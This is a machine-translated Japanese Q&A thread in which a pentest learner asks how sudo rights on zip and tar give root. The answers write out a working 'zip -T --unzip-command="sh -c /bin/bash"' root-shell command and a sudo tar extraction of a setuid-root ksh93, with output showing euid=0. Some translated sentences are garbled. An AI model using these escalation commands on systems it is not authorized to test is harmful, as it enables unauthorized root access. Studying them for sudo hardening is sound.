sudoと考えられる攻撃の理解

sudoと考えられる攻撃の理解

私はいくつかのペンテストを実行し、いくつかのガイドに従って作業ツールについて学びます。私は旅行ガイドに従うここ最後のページを除いて全部受け取りました。

sudo -l次の内容を理解するのに役立ちます。現在、ユーザーができることについて詳しく知っています。しかし、次の出力はどういう意味ですか?

ここに画像の説明を入力してください。

次のコマンド(タッチを除く)はどうですか?コマンドを実行した後(exploit?)root権限を取得できたため、少し混乱しました。

ここに画像の説明を入力してください。

私が理解したところによれば、コマンドをrootとして実行するか、rootに昇格し、exploitというファイルを圧縮してtmp / exploitに入れるという行があります。私は間違っていると信じています。しかし、それがその線についての私の理解が終わるところです。

このコマンドを使用してroot権限を取得する方法と、この行が実行する操作は混乱しています。

答え1

最初の質問の場合、指定された出力行は、提供されたパスワードなしでルートと/bin/tarvia/usr/bin/zipで実行できることを知らせます。sudozico

zip2番目の質問については、マニュアルページから回答を得ます。

   --unzip-command cmd
          Use command cmd instead of 'unzip -tqq' to test an archive when the -T option is used.

したがってzip、rootとして実行する権限があるので、このエクスプロイトは「このアーカイブをテストするときにこのコマンドを使用してテストしてください。rootシェルを提供すると役に立ちます」とsudo伝えます。zipsh -c /bin/bash

ファイルはexploit単にzip「テスト」できるように圧縮する内容を提供します。そんなことがなかった走るあるいは、実際にはデモの空のファイルだけです。

$ sudo -u root zip /tmp/exploit.zip /tmp/exploit -T --unzip-command="sh -c /bin/bash"

sudorootユーザーとして次のコマンドを実行するためのガイドライン:

$ zip /tmp/exploit.zip /tmp/exploit -T --unzip-command="sh -c /bin/bash"

このコマンドはファイルをインポートして/tmp/exploit新しいアーカイブに入れます/tmp/exploit.zip-Tzip時間アーカイブ整合性テスト中に--unzip-commandスイッチが通知するものzip どのようにテストアーカイブ。最後に、実際の攻撃はzipルートとして実行されるため、これを実行するとsh -c /bin/bashルートシェルが提供されます。

答え2

それ以外の場合でも、zipこのtarコマンドを使用して問題を解決できます。必要なのは、setuid rootプログラムを含むtarファイルだけですtar xfp

たとえば、ksh93 および setuid ルートを使用して tarball を作成できる場合は、root 権限を取得できます。

$ tar tvf ../foo.tar
-rwsr-xr-x root/root   1519024 2018-11-08 21:32 ksh93
$ sudo tar xvfp ../foo.tar 
ksh93
$ ./ksh93 -c id
uid=500(sweh) gid=500(sweh) euid=0(root) groups=500(sweh),10(wheel),13(news)
$ 

euidが見つかりました。有効なルートがあります。

関連情報